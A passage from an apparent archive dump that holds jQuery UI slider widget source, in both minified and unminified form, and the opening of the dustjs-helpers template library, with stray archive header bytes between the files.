a=Math.abs(normValue-self.values(i));if(distance>a){distance=a;closestHandle=$(this);index=i}});if(o.range===true&&this.values(1)===o.min){index+=1;closestHandle=$(this.handles[index])}allowed=this._start(b,index);if(allowed===false){return
false}this._mouseSliding=true;self._handleIndex=index;closestHandle.addClass("ui-state-active").focus();offset=closestHandle.offset();mouseOverHandle=!$(b.target).parents().andSelf().is(".ui-slider-handle");this._clickOffset=mouseOverHandle?{left:0,top:0}:{left:b.pageX-offset.left-(closestHandle.width()/2),top:b.pageY-offset.top-(closestHandle.height()/2)-(parseInt(closestHandle.css("borderTopWidth"),10)||0)-(parseInt(closestHandle.css("borderBottomWidth"),10)||0)+(parseInt(closestHandle.css("marginTop"),10)||0)};if(!this.handles.hasClass("ui-state-hover")){this._slide(b,index,normValue)}this._animateOff=true;return
true},_mouseStart:function(a){return true},_mouseDrag:function(a){var
b={x:a.pageX,y:a.pageY},normValue=this._normValueFromMouse(b);this._slide(a,this._handleIndex,normValue);return
false},_mouseStop:function(a){this.handles.removeClass("ui-state-active");this._mouseSliding=false;this._stop(a,this._handleIndex);this._change(a,this._handleIndex);this._handleIndex=null;this._clickOffset=null;this._animateOff=false;return
false},_detectOrientation:function(){this.orientation=(this.options.orientation==="vertical")?"vertical":"horizontal"},_normValueFromMouse:function(a){var
b,pixelMouse,percentMouse,valueTotal,valueMouse;if(this.orientation==="horizontal"){b=this.elementSize.width;pixelMouse=a.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{b=this.elementSize.height;pixelMouse=a.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}percentMouse=(pixelMouse/b);if(percentMouse>1){percentMouse=1}if(percentMouse<0){percentMouse=0}if(this.orientation==="vertical"){percentMouse=1-percentMouse}if(this.options.isRTL){percentMouse=1-percentMouse}valueTotal=this._valueMax()-this._valueMin();valueMouse=this._valueMin()+percentMouse*valueTotal;return
this._trimAlignValue(valueMouse)},_start:function(a,b){var
c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b);c.values=this.values()}return
this._trigger("start",a,c)},_slide:function(a,b,c){var
d,newValues,allowed;if(this.options.values&&this.options.values.length){d=this.values(b?0:1);if((this.options.values.length===2&&this.options.range===true)&&((b===0&&c>d)||(b===1&&c<d))){c=d}if(c!==this.values(b)){newValues=this.values();newValues[b]=c;allowed=this._trigger("slide",a,{handle:this.handles[b],value:c,values:newValues});d=this.values(b?0:1);if(allowed!==false){this.values(b,c,true)}}}else{if(c!==this.value()){allowed=this._trigger("slide",a,{handle:this.handles[b],value:c});if(allowed!==false){this.value(c)}}}},_stop:function(a,b){var
c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b);c.values=this.values()}this._trigger("stop",a,c)},_change:function(a,b){if(!this._keySliding&&!this._mouseSliding){var
c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b);c.values=this.values()}this._trigger("change",a,c)}},value:function(a){if(arguments.length){this.options.value=this._trimAlignValue(a);this._refreshValue();this._change(null,0)}return
this._value()},values:function(a,b){var
c,newValues,i;if(arguments.length>1){this.options.values[a]=this._trimAlignValue(b);this._refreshValue();this._change(null,a)}if(arguments.length){if($.isArray(arguments[0])){c=this.options.values;newValues=arguments[0];for(i=0;i<c.length;i+=1){c[i]=this._trimAlignValue(newValues[i]);this._change(null,i)}this._refreshValue()}else{if(this.options.values&&this.options.values.length){return
this._values(a)}else{return this.value()}}}else{return
this._values()}},_setOption:function(a,b){var
i,valsLength=0;if($.isArray(this.options.values)){valsLength=this.options.values.length}$.Widget.prototype._setOption.apply(this,arguments);switch(a){case"disabled":if(b){this.handles.filter(".ui-state-focus").blur();this.handles.removeClass("ui-state-hover");this.handles.attr("disabled","disabled");this.element.addClass("ui-disabled")}else{this.handles.removeAttr("disabled");this.element.removeClass("ui-disabled")}break;case"orientation":this._detectOrientation();this.element.removeClass("ui-slider-horizontal
ui-slider-vertical").addClass("ui-slider-"+this.orientation);this._refreshValue();break;case"isRTL":this.element.toggleClass("ui-slider-rtl",b);this._refreshValue();break;case"value":this._animateOff=true;this._refreshValue();this._change(null,0);this._animateOff=false;break;case"values":this._animateOff=true;this._refreshValue();for(i=0;i<valsLength;i+=1){this._change(null,i)}this._animateOff=false;break}},_value:function(){var
a=this.options.value;a=this._trimAlignValue(a);return
a},_values:function(a){var
b,vals,i;if(arguments.length){b=this.options.values[a];b=this._trimAlignValue(b);return
b}else{vals=this.options.values.slice();for(i=0;i<vals.length;i+=1){vals[i]=this._trimAlignValue(vals[i])}return
vals}},_trimAlignValue:function(a){if(a<=this._valueMin()){return
this._valueMin()}if(a>=this._valueMax()){return this._valueMax()}var
b=(this.options.step>0)?this.options.step:1,valModStep=(a-this._valueMin())%b;alignValue=a-valModStep;if(Math.abs(valModStep)*2>=b){alignValue+=(valModStep>0)?b:(-b)}return
parseFloat(alignValue.toFixed(5))},_valueMin:function(){return
this.options.min},_valueMax:function(){return
this.options.max},_refreshValue:function(){var
a=this.options.range,o=this.options,self=this,animate=(!this._animateOff)?o.animate:false,valPercent,_set={},lastValPercent,value,valueMin,valueMax;if(this.options.values&&this.options.values.length){this.handles.each(function(i,j){valPercent=(self.values(i)-self._valueMin())/(self._valueMax()-self._valueMin())*100;valPercent=(self.options.isRTL?100-valPercent:valPercent);_set[self.orientation==="horizontal"?"left":"bottom"]=valPercent+"%";$(this).stop(1,1)[animate?"animate":"css"](_set,o.animate);if(self.options.range===true){if(self.orientation==="horizontal"){if(i===0){self.range.stop(1,1)[animate?"animate":"css"](self.options.isRTL?{right:(100-valPercent)+"%"}:{left:valPercent+"%"},o.animate)}if(i===1){self.range[animate?"animate":"css"]({width:((self.options.isRTL?-1:+1)*(valPercent-lastValPercent))+"%"},{queue:false,duration:o.animate})}}else{if(i===0){self.range.stop(1,1)[animate?"animate":"css"](self.options.isRTL?{top:(100-valPercent)+"%"}:{bottom:(valPercent)+"%"},o.animate)}if(i===1){self.range[animate?"animate":"css"]({height:((self.options.isRTL?-1:+1)*(valPercent-lastValPercent))+"%"},{queue:false,duration:o.animate})}}}lastValPercent=valPercent})}else{value=this.value();valueMin=this._valueMin();valueMax=this._valueMax();valPercent=(valueMax!==valueMin)?(value-valueMin)/(valueMax-valueMin)*100:0;valPercent=(self.options.isRTL?100-valPercent:valPercent);_set[self.orientation==="horizontal"?"left":"bottom"]=valPercent+"%";this.handle.stop(1,1)[animate?"animate":"css"](_set,o.animate);if(a==="min"&&this.orientation==="horizontal"){this.range.stop(1,1)[animate?"animate":"css"]({width:(self.options.isRTL?100-valPercent:valPercent)+"%"},o.animate)}if(a==="max"&&this.orientation==="horizontal"){this.range[animate?"animate":"css"]({width:(self.options.isRTL?valPercent:100-valPercent)+"%"},{queue:false,duration:o.animate})}if(a==="min"&&this.orientation==="vertical"){this.range.stop(1,1)[animate?"animate":"css"]({height:(self.options.isRTL?100-valPercent:valPercent)+"%"},o.animate)}if(a==="max"&&this.orientation==="vertical"){this.range[animate?"animate":"css"]({height:(self.options.isRTL?valPercent:100-valPercent)+"%"},{queue:false,duration:o.animate})}}}});$.extend($.ui.slider,{version:"1.8.9"})}(jQuery));PK�v�[���C�Cassets/js/jquery.ui.slider.jsnu�[���(function(
$, undefined ) {
// number of pages in a slider
// (how many times can you page up/down to go through the whole range)
var numPages = 5;
$.widget( "ui.slider", $.ui.mouse, {
/*JA: use slidez instead of slide to resolve conflict of slider between
jquery and mootools*/
widgetEventPrefix: "slidez",
options: {
animate: false,
distance: 0,
max: 100,
min: 0,
orientation: "horizontal",
range: false,
step: 1,
value: 0,
values: null
},
_create: function() {
var self = this,
o = this.options,
existingHandles = this.element.find( ".ui-slider-handle"
).addClass( "ui-state-default ui-corner-all" ),
handle = "<a class='ui-slider-handle ui-state-default
ui-corner-all' href='#'></a>",
handleCount = ( o.values && o.values.length ) || 1,
handles = [];
this._keySliding = false;
this._mouseSliding = false;
this._animateOff = true;
this._handleIndex = null;
this._detectOrientation();
this._mouseInit();
this.element
.addClass( "ui-slider" +
" ui-slider-" + this.orientation +
" ui-widget" +
" ui-widget-content" +
" ui-corner-all" +
( o.disabled ? " ui-slider-disabled ui-disabled" :
"" ) );
this.range = $([]);
if ( o.range ) {
if ( o.range === true ) {
if ( !o.values ) {
o.values = [ this._valueMin(), this._valueMin() ];
}
if ( o.values.length && o.values.length !== 2 ) {
o.values = [ o.values[0], o.values[0] ];
}
}
this.range = $( "<div></div>" )
.appendTo( this.element )
.addClass( "ui-slider-range" +
// note: this isn't the most fittingly semantic framework class
for this element,
// but worked best visually with a variety of themes
" ui-widget-header" +
( ( o.range === "min" || o.range === "max" ) ?
" ui-slider-range-" + o.range : "" ) );
}
for ( var i = existingHandles.length; i < handleCount; i += 1 ) {
handles.push( handle );
}
this.handles = existingHandles.add( $( handles.join( "" )
).appendTo( self.element ) );
this.handle = this.handles.eq( 0 );
this.handles.add( this.range ).filter( "a" )
.click(function( event ) {
event.preventDefault();
})
.hover(function() {
if ( !o.disabled ) {
$( this ).addClass( "ui-state-hover" );
}
}, function() {
$( this ).removeClass( "ui-state-hover" );
})
.focus(function() {
if ( !o.disabled ) {
$( ".ui-slider .ui-state-focus" ).removeClass(
"ui-state-focus" );
$( this ).addClass( "ui-state-focus" );
} else {
$( this ).blur();
}
})
.blur(function() {
$( this ).removeClass( "ui-state-focus" );
});
this.handles.each(function( i ) {
$( this ).data( "index.ui-slider-handle", i );
});
this.handles
.keydown(function( event ) {
var index = $( this ).data( "index.ui-slider-handle" ),
allowed,
curVal,
newVal,
step;
if ( self.options.disabled ) {
return;
}
switch ( event.keyCode ) {
case $.ui.keyCode.HOME:
case $.ui.keyCode.END:
case $.ui.keyCode.PAGE_UP:
case $.ui.keyCode.PAGE_DOWN:
case $.ui.keyCode.UP:
case $.ui.keyCode.RIGHT:
case $.ui.keyCode.DOWN:
case $.ui.keyCode.LEFT:
event.preventDefault();
if ( !self._keySliding ) {
self._keySliding = true;
$( this ).addClass( "ui-state-active" );
allowed = self._start( event, index );
if ( allowed === false ) {
return;
}
}
break;
}
step = self.options.step;
if ( self.options.values && self.options.values.length ) {
curVal = newVal = self.values( index );
} else {
curVal = newVal = self.value();
}
switch ( event.keyCode ) {
case $.ui.keyCode.HOME:
newVal = self._valueMin();
break;
case $.ui.keyCode.END:
newVal = self._valueMax();
break;
case $.ui.keyCode.PAGE_UP:
newVal = self._trimAlignValue( curVal + ( (self._valueMax() -
self._valueMin()) / numPages ) );
break;
case $.ui.keyCode.PAGE_DOWN:
newVal = self._trimAlignValue( curVal - ( (self._valueMax() -
self._valueMin()) / numPages ) );
break;
case $.ui.keyCode.UP:
case $.ui.keyCode.RIGHT:
if ( curVal === self._valueMax() ) {
return;
}
newVal = self._trimAlignValue( curVal + step );
break;
case $.ui.keyCode.DOWN:
case $.ui.keyCode.LEFT:
if ( curVal === self._valueMin() ) {
return;
}
newVal = self._trimAlignValue( curVal - step );
break;
}
self._slide( event, index, newVal );
})
.keyup(function( event ) {
var index = $( this ).data( "index.ui-slider-handle" );
if ( self._keySliding ) {
self._keySliding = false;
self._stop( event, index );
self._change( event, index );
$( this ).removeClass( "ui-state-active" );
}
});
this._refreshValue();
this._animateOff = false;
},
destroy: function() {
this.handles.remove();
this.range.remove();
this.element
.removeClass( "ui-slider" +
" ui-slider-horizontal" +
" ui-slider-vertical" +
" ui-slider-disabled" +
" ui-widget" +
" ui-widget-content" +
" ui-corner-all" )
.removeData( "slider" )
.unbind( ".slider" );
this._mouseDestroy();
return this;
},
_mouseCapture: function( event ) {
var o = this.options,
position,
normValue,
distance,
closestHandle,
self,
index,
allowed,
offset,
mouseOverHandle;
if ( o.disabled ) {
return false;
}
this.elementSize = {
width: this.element.outerWidth(),
height: this.element.outerHeight()
};
this.elementOffset = this.element.offset();
position = { x: event.pageX, y: event.pageY };
normValue = this._normValueFromMouse( position );
distance = this._valueMax() - this._valueMin() + 1;
self = this;
this.handles.each(function( i ) {
var thisDistance = Math.abs( normValue - self.values(i) );
if ( distance > thisDistance ) {
distance = thisDistance;
closestHandle = $( this );
index = i;
}
});
// workaround for bug #3736 (if both handles of a range are at 0,
// the first is always used as the one with least distance,
// and moving it is obviously prevented by preventing negative ranges)
if( o.range === true && this.values(1) === o.min ) {
index += 1;
closestHandle = $( this.handles[index] );
}
allowed = this._start( event, index );
if ( allowed === false ) {
return false;
}
this._mouseSliding = true;
self._handleIndex = index;
closestHandle
.addClass( "ui-state-active" )
.focus();
offset = closestHandle.offset();
mouseOverHandle = !$( event.target ).parents().andSelf().is(
".ui-slider-handle" );
this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
top: event.pageY - offset.top -
( closestHandle.height() / 2 ) -
( parseInt( closestHandle.css("borderTopWidth"), 10 ) || 0 )
-
( parseInt( closestHandle.css("borderBottomWidth"), 10 ) ||
0) +
( parseInt( closestHandle.css("marginTop"), 10 ) || 0)
};
if ( !this.handles.hasClass( "ui-state-hover" ) ) {
this._slide( event, index, normValue );
}
this._animateOff = true;
return true;
},
_mouseStart: function( event ) {
return true;
},
_mouseDrag: function( event ) {
var position = { x: event.pageX, y: event.pageY },
normValue = this._normValueFromMouse( position );
this._slide( event, this._handleIndex, normValue );
return false;
},
_mouseStop: function( event ) {
this.handles.removeClass( "ui-state-active" );
this._mouseSliding = false;
this._stop( event, this._handleIndex );
this._change( event, this._handleIndex );
this._handleIndex = null;
this._clickOffset = null;
this._animateOff = false;
return false;
},
_detectOrientation: function() {
this.orientation = ( this.options.orientation === "vertical" )
? "vertical" : "horizontal";
},
_normValueFromMouse: function( position ) {
var pixelTotal,
pixelMouse,
percentMouse,
valueTotal,
valueMouse;
if ( this.orientation === "horizontal" ) {
pixelTotal = this.elementSize.width;
pixelMouse = position.x - this.elementOffset.left - ( this._clickOffset
? this._clickOffset.left : 0 );
} else {
pixelTotal = this.elementSize.height;
pixelMouse = position.y - this.elementOffset.top - ( this._clickOffset ?
this._clickOffset.top : 0 );
}
percentMouse = ( pixelMouse / pixelTotal );
if ( percentMouse > 1 ) {
percentMouse = 1;
}
if ( percentMouse < 0 ) {
percentMouse = 0;
}
if ( this.orientation === "vertical" ) {
percentMouse = 1 - percentMouse;
}
valueTotal = this._valueMax() - this._valueMin();
valueMouse = this._valueMin() + percentMouse * valueTotal;
return this._trimAlignValue( valueMouse );
},
_start: function( event, index ) {
var uiHash = {
handle: this.handles[ index ],
value: this.value()
};
if ( this.options.values && this.options.values.length ) {
uiHash.value = this.values( index );
uiHash.values = this.values();
}
return this._trigger( "start", event, uiHash );
},
_slide: function( event, index, newVal ) {
var otherVal,
newValues,
allowed;
if ( this.options.values && this.options.values.length ) {
otherVal = this.values( index ? 0 : 1 );
if ( ( this.options.values.length === 2 && this.options.range
=== true ) &&
( ( index === 0 && newVal > otherVal) || ( index === 1
&& newVal < otherVal ) )
) {
newVal = otherVal;
}
if ( newVal !== this.values( index ) ) {
newValues = this.values();
newValues[ index ] = newVal;
// A slide can be canceled by returning false from the slide callback
allowed = this._trigger( "slide", event, {
handle: this.handles[ index ],
value: newVal,
values: newValues
} );
otherVal = this.values( index ? 0 : 1 );
if ( allowed !== false ) {
this.values( index, newVal, true );
}
}
} else {
if ( newVal !== this.value() ) {
// A slide can be canceled by returning false from the slide callback
allowed = this._trigger( "slide", event, {
handle: this.handles[ index ],
value: newVal
} );
if ( allowed !== false ) {
this.value( newVal );
}
}
}
},
_stop: function( event, index ) {
var uiHash = {
handle: this.handles[ index ],
value: this.value()
};
if ( this.options.values && this.options.values.length ) {
uiHash.value = this.values( index );
uiHash.values = this.values();
}
this._trigger( "stop", event, uiHash );
},
_change: function( event, index ) {
if ( !this._keySliding && !this._mouseSliding ) {
var uiHash = {
handle: this.handles[ index ],
value: this.value()
};
if ( this.options.values && this.options.values.length ) {
uiHash.value = this.values( index );
uiHash.values = this.values();
}
this._trigger( "change", event, uiHash );
}
},
value: function( newValue ) {
if ( arguments.length ) {
this.options.value = this._trimAlignValue( newValue );
this._refreshValue();
this._change( null, 0 );
return;
}
return this._value();
},
values: function( index, newValue ) {
var vals,
newValues,
i;
if ( arguments.length > 1 ) {
this.options.values[ index ] = this._trimAlignValue( newValue );
this._refreshValue();
this._change( null, index );
return;
}
if ( arguments.length ) {
if ( $.isArray( arguments[ 0 ] ) ) {
vals = this.options.values;
newValues = arguments[ 0 ];
for ( i = 0; i < vals.length; i += 1 ) {
vals[ i ] = this._trimAlignValue( newValues[ i ] );
this._change( null, i );
}
this._refreshValue();
} else {
if ( this.options.values && this.options.values.length ) {
return this._values( index );
} else {
return this.value();
}
}
} else {
return this._values();
}
},
_setOption: function( key, value ) {
var i,
valsLength = 0;
if ( $.isArray( this.options.values ) ) {
valsLength = this.options.values.length;
}
$.Widget.prototype._setOption.apply( this, arguments );
switch ( key ) {
case "disabled":
if ( value ) {
this.handles.filter( ".ui-state-focus" ).blur();
this.handles.removeClass( "ui-state-hover" );
this.handles.propAttr( "disabled", true );
this.element.addClass( "ui-disabled" );
} else {
this.handles.propAttr( "disabled", false );
this.element.removeClass( "ui-disabled" );
}
break;
case "orientation":
this._detectOrientation();
this.element
.removeClass( "ui-slider-horizontal ui-slider-vertical" )
.addClass( "ui-slider-" + this.orientation );
this._refreshValue();
break;
case "value":
this._animateOff = true;
this._refreshValue();
this._change( null, 0 );
this._animateOff = false;
break;
case "values":
this._animateOff = true;
this._refreshValue();
for ( i = 0; i < valsLength; i += 1 ) {
this._change( null, i );
}
this._animateOff = false;
break;
}
},
//internal value getter
// _value() returns value trimmed by min and max, aligned by step
_value: function() {
var val = this.options.value;
val = this._trimAlignValue( val );
return val;
},
//internal values getter
// _values() returns array of values trimmed by min and max, aligned by
step
// _values( index ) returns single value trimmed by min and max, aligned
by step
_values: function( index ) {
var val,
vals,
i;
if ( arguments.length ) {
val = this.options.values[ index ];
val = this._trimAlignValue( val );
return val;
} else {
// .slice() creates a copy of the array
// this copy gets trimmed by min and max and then returned
vals = this.options.values.slice();
for ( i = 0; i < vals.length; i+= 1) {
vals[ i ] = this._trimAlignValue( vals[ i ] );
}
return vals;
}
},
// returns the step-aligned value that val is closest to, between
(inclusive) min and max
_trimAlignValue: function( val ) {
if ( val <= this._valueMin() ) {
return this._valueMin();
}
if ( val >= this._valueMax() ) {
return this._valueMax();
}
var step = ( this.options.step > 0 ) ? this.options.step : 1,
valModStep = (val - this._valueMin()) % step,
alignValue = val - valModStep;
if ( Math.abs(valModStep) * 2 >= step ) {
alignValue += ( valModStep > 0 ) ? step : ( -step );
}
// Since JavaScript has problems with large floats, round
// the final value to 5 digits after the decimal point (see #4124)
return parseFloat( alignValue.toFixed(5) );
},
_valueMin: function() {
return this.options.min;
},
_valueMax: function() {
return this.options.max;
},
_refreshValue: function() {
var oRange = this.options.range,
o = this.options,
self = this,
animate = ( !this._animateOff ) ? o.animate : false,
valPercent,
_set = {},
lastValPercent,
value,
valueMin,
valueMax;
if ( this.options.values && this.options.values.length ) {
this.handles.each(function( i, j ) {
valPercent = ( self.values(i) - self._valueMin() ) / ( self._valueMax()
- self._valueMin() ) * 100;
_set[ self.orientation === "horizontal" ? "left" :
"bottom" ] = valPercent + "%";
$( this ).stop( 1, 1 )[ animate ? "animate" : "css"
]( _set, o.animate );
if ( self.options.range === true ) {
if ( self.orientation === "horizontal" ) {
if ( i === 0 ) {
self.range.stop( 1, 1 )[ animate ? "animate" :
"css" ]( { left: valPercent + "%" }, o.animate );
}
if ( i === 1 ) {
self.range[ animate ? "animate" : "css" ]( {
width: ( valPercent - lastValPercent ) + "%" }, { queue: false,
duration: o.animate } );
}
} else {
if ( i === 0 ) {
self.range.stop( 1, 1 )[ animate ? "animate" :
"css" ]( { bottom: ( valPercent ) + "%" }, o.animate );
}
if ( i === 1 ) {
self.range[ animate ? "animate" : "css" ]( {
height: ( valPercent - lastValPercent ) + "%" }, { queue: false,
duration: o.animate } );
}
}
}
lastValPercent = valPercent;
});
} else {
value = this.value();
valueMin = this._valueMin();
valueMax = this._valueMax();
valPercent = ( valueMax !== valueMin ) ?
( value - valueMin ) / ( valueMax - valueMin ) * 100 :
0;
_set[ self.orientation === "horizontal" ? "left" :
"bottom" ] = valPercent + "%";
this.handle.stop( 1, 1 )[ animate ? "animate" :
"css" ]( _set, o.animate );
if ( oRange === "min" && this.orientation ===
"horizontal" ) {
this.range.stop( 1, 1 )[ animate ? "animate" :
"css" ]( { width: valPercent + "%" }, o.animate );
}
if ( oRange === "max" && this.orientation ===
"horizontal" ) {
this.range[ animate ? "animate" : "css" ]( { width:
( 100 - valPercent ) + "%" }, { queue: false, duration: o.animate
} );
}
if ( oRange === "min" && this.orientation ===
"vertical" ) {
this.range.stop( 1, 1 )[ animate ? "animate" :
"css" ]( { height: valPercent + "%" }, o.animate );
}
if ( oRange === "max" && this.orientation ===
"vertical" ) {
this.range[ animate ? "animate" : "css" ]( {
height: ( 100 - valPercent ) + "%" }, { queue: false, duration:
o.animate } );
}
}
}
});
$.extend( $.ui.slider, {
version: "1.8.23"
});
}(jQuery));PK�v�[7�2z1z1assets/js/dust-helpers.jsnu�[���/*!
dustjs-helpers - v1.7.3
* http://dustjs.com/
* Copyright (c) 2015 Aleksander Williams; Released under the MIT License */
(function(root, factory) {
if (typeof define === 'function' && define.amd
&& define.amd.dust === true) {
define(['dust.core'], factory);
} else if (typeof exports === 'object') {
module.exports = factory(require('dustjs-linkedin'));
} else {
factory(root.dust);
}
}(this, function(dust) {
function log(helper, msg, level) {
level = level || "INFO";
helper = helper ? '{@' + helper + '}: ' :
'';
dust.log(helper + msg, level);
}
var _deprecatedCache = {};
function _deprecated(target) {
if(_deprecatedCache[target]) { return; }
log(target, "Deprecation warning: " + target + " is
deprecated and will be removed in a future version of dustjs-helpers",
"WARN");
log(null, "For help and a deprecation timeline, see
https://github.com/linkedin/dustjs-helpers/wiki/Deprecated-Features#"
+ target.replace(/\W+/g, ""), "WARN");
_deprecatedCache[target] = true;
}
function isSelect(context) {
return context.stack.tail &&
context.stack.tail.head &&
typeof context.stack.tail.head.__select__ !==
"undefined";
}
function getSelectState(context) {
return isSelect(context) && context.get('__select__');
}
/**
* Adds a special __select__ key behind the head of the context stack. Used
to maintain the state
* of {@select} blocks
* @param context {Context} add state to this Context
* @param opts {Object} add these properties to the state (`key` and
`type`)
*/
function addSelectState(context, opts) {
var head = context.stack.head,
newContext = context.rebase(),
key;
if(context.stack && context.stack.tail) {
newContext.stack = context.stack.tail;
}
var state = {
isPending: false,
isResolved: false,
isDeferredComplete: false,
deferreds: []
};
for(key in opts) {
state[key] = opts[key];
}
return newContext
.push({ "__select__": state })
.push(head, context.stack.index, context.stack.of);
}
/**
* After a {@select} or {@math} block is complete, they invoke this
function
*/
function resolveSelectDeferreds(state) {
var x, len;
state.isDeferredPending = true;
if(state.deferreds.length) {
state.isDeferredComplete = true;
for(x=0, len=state.deferreds.length; x<len; x++) {
state.deferreds[x]();
}
}
state.isDeferredPending = false;
}
/**
* Used by {@contextDump}
*/
function jsonFilter(key, value) {
if (typeof value === "function") {
return value.toString()
.replace(/(^\s+|\s+$)/mg, '')
.replace(/\n/mg, '')
.replace(/,\s*/mg, ', ')
.replace(/\)\{/mg, ') {');
}
return value;
}
/**
* Generate a truth test helper
*/
function truthTest(name, test) {
return function(chunk, context, bodies, params) {
return filter(chunk, context, bodies, params, name, test);
};
}
/**
* This function is invoked by truth test helpers
*/
function filter(chunk, context, bodies, params, helperName, test) {
var body = bodies.block,
skip = bodies['else'],
selectState = getSelectState(context) || {},
willResolve, key, value, type;
// Once one truth test in a select passes, short-circuit the rest of the
tests
if (selectState.isResolved && !selectState.isDeferredPending) {
return chunk;
}
// First check for a key on the helper itself, then look for a key on the
{@select}
if (params.hasOwnProperty('key')) {
key = params.key;
} else if (selectState.hasOwnProperty('key')) {
key = selectState.key;
} else {
log(helperName, "No key specified", "WARN");
return chunk;
}
type = params.type || selectState.type;
key = coerce(context.resolve(key), type);
value = coerce(context.resolve(params.value), type);
if (test(key, value)) {
// Once a truth test passes, put the select into "pending"
state. Now we can render the body of
// the truth test (which may contain truth tests) without altering the
state of the select.
if (!selectState.isPending) {
willResolve = true;
selectState.isPending = true;
}
if (body) {
chunk = chunk.render(body, context);
}
if (willResolve) {
selectState.isResolved = true;
}
} else if (skip) {
chunk = chunk.render(skip, context);
}
return chunk;
}
function coerce(value, type) {
if (type) {
type = type.toLowerCase();
}
switch (type) {
case 'number': return +value;
case 'string': return String(value);
case 'boolean':
value = (value === 'false' ? false : value);
return Boolean(value);
case 'date': return new Date(value);
}
return value;
}
var helpers = {
// Utility helping to resolve dust references in the given chunk
// uses native Dust Context#resolve (available since Dust 2.6.2)
"tap": function(input, chunk, context) {
// deprecated for removal in 1.8
_deprecated("tap");
return context.resolve(input);
},
"sep": function(chunk, context, bodies) {
var body = bodies.block;
if (context.stack.index === context.stack.of - 1) {
return chunk;
}
if (body) {
return body(chunk, context);
} else {
return chunk;
}
},
"first": function(chunk, context, bodies) {
if (context.stack.index === 0) {
return bodies.block(chunk, context);
}
return chunk;
},
"last": function(chunk, context, bodies) {
if (context.stack.index === context.stack.of - 1) {
return bodies.block(chunk, context);
}
return chunk;
},
/**
* {@contextDump}
* @param key {String} set to "full" to the full context stack,
otherwise the current context is dumped
* @param to {String} set to "console" to log to console,
otherwise outputs to the chunk
*/
"contextDump": function(chunk, context, bodies, params) {
var to = context.resolve(params.to),
key = context.resolve(params.key),
target, output;
switch(key) {
case 'full':
target = context.stack;
break;
default:
target = context.stack.head;
}
output = JSON.stringify(target, jsonFilter, 2);
switch(to) {
case 'console':
log('contextDump', output);
break;
default:
output = output.replace(/</g, '\\u003c');
chunk = chunk.write(output);
}
return chunk;
},
/**
* {@math}
* @param key first value
* @param method {String} operation to perform
* @param operand second value (not required for operations like `abs`)
* @param round if truthy, round() the result
*/
"math": function (chunk, context, bodies, params) {
var key = params.key,
method = params.method,
operand = params.operand,
round = params.round,
output, state, x, len;
if(!params.hasOwnProperty('key') || !params.method) {
log("math", "`key` or `method` was not provided",
"ERROR");
return chunk;
}
key = parseFloat(context.resolve(key));
operand = parseFloat(context.resolve(operand));
switch(method) {
case "mod":
if(operand === 0) {
log("math", "Division by 0",
"ERROR");
}
output = key % operand;
break;
case "add":
output = key + operand;
break;
case "subtract":
output = key - operand;
break;
case "multiply":
output = key * operand;
break;
case "divide":
if(operand === 0) {
log("math", "Division by 0",
"ERROR");
}
output = key / operand;
break;
case "ceil":
case "floor":
case "round":
case "abs":
output = Math[method](key);
break;
case "toint":
output = parseInt(key, 10);
break;
default:
log("math", "Method `" + method + "` is
not supported", "ERROR");
}
if (typeof output !== 'undefined') {
if (round) {
output = Math.round(output);
}
if (bodies && bodies.block) {
context = addSelectState(context, { key: output });
chunk = chunk.render(bodies.block, context);
resolveSelectDeferreds(getSelectState(context));
} else {
chunk = chunk.write(output);
}
}
return chunk;
},
/**
* {@select}
* Groups a set of truth tests and outputs the first one that passes.
* Also contains {@any} and {@none} blocks.
* @param key a value or reference to use as the left-hand side of
comparisons
* @param type coerce all truth test keys without an explicit type to
this type
*/
"select": function(chunk, context, bodies, params) {
var body = bodies.block,
state = {};
if (params.hasOwnProperty('key')) {
state.key = context.resolve(params.key);
}
if (params.hasOwnProperty('type')) {
state.type = params.type;
}
if (body) {
context = addSelectState(context, state);
chunk = chunk.render(body, context);
resolveSelectDeferreds(getSelectState(context));
} else {
log("select", "Missing body block",
"WARN");
}
return chunk;
},
/**
* Truth test helpers
* @param key a value or reference to use as the left-hand side of
comparisons
* @param value a value or reference to use as the right-hand side of
comparisons
* @param type if specified, `key` and `value` will be forcibly cast to
this type
*/
"eq": truthTest('eq', function(left, right) {
return left === right;
}),
"ne": truthTest('ne', function(left, right) {
return left !== right;
}),
"lt": truthTest('lt', function(left, right) {
return left < right;
}),
"lte": truthTest('lte', function(left, right) {
return left <= right;
}),
"gt": truthTest('gt', function(left, right) {
return left > right;
}),
"gte": truthTest('gte', function(left, right) {
return left >= right;
}),
/**
* {@any}
* Outputs as long as at least one truth test inside a {@select} has
passed.
* Must be contained inside a {@select} block.
* The passing truth test can be before or after the {@any} block.
*/
"any": function(chunk, context, bodies, params) {
var selectState = getSelectState(context);
if(!selectState) {
log("any", "Must be used inside a {@select}
block", "ERROR");
} else {
if(selectState.isDeferredComplete) {
log("any", "Must not be nested inside {@any} or
{@none} block", "ERROR");
} else {
chunk = chunk.map(function(chunk) {
selectState.deferreds.push(function() {
if(selectState.isResolved) {
chunk = chunk.render(bodies.block, context);
}
chunk.end();
});
});
}
}
return chunk;
},
/**
* {@none}
* Outputs if no truth tests inside a {@select} pass.
* Must be contained inside a {@select} block.
* The position of the helper does not matter.
*/
"none": function(chunk, context, bodies, params) {
var selectState = getSelectState(context);
if(!selectState) {
log("none", "Must be used inside a {@select}
block", "ERROR");
} else {
if(selectState.isDeferredComplete) {
log("none", "Must not be nested inside {@any} or
{@none} block", "ERROR");
} else {
chunk = chunk.map(function(chunk) {
selectState.deferreds.push(function() {
if(!selectState.isResolved) {
chunk = chunk.render(bodies.block, context);
}
chunk.end();
});
});
}
}
return chunk;
},
/**
* {@size}
* Write the size of the target to the chunk
* Falsy values and true have size 0
* Numbers are returned as-is
* Arrays and Strings have size equal to their length
* Objects have size equal to the number of keys they contain
* Dust bodies are evaluated and the length of the string is returned
* Functions are evaluated and the length of their return value is
evaluated
* @param key find the size of this value or reference
*/
"size": function(chunk, context, bodies, params) {
var key = params.key,
value, k;
key = context.resolve(params.key);
if (!key || key === true) {
value = 0;
} else if(dust.isArray(key)) {
value = key.length;
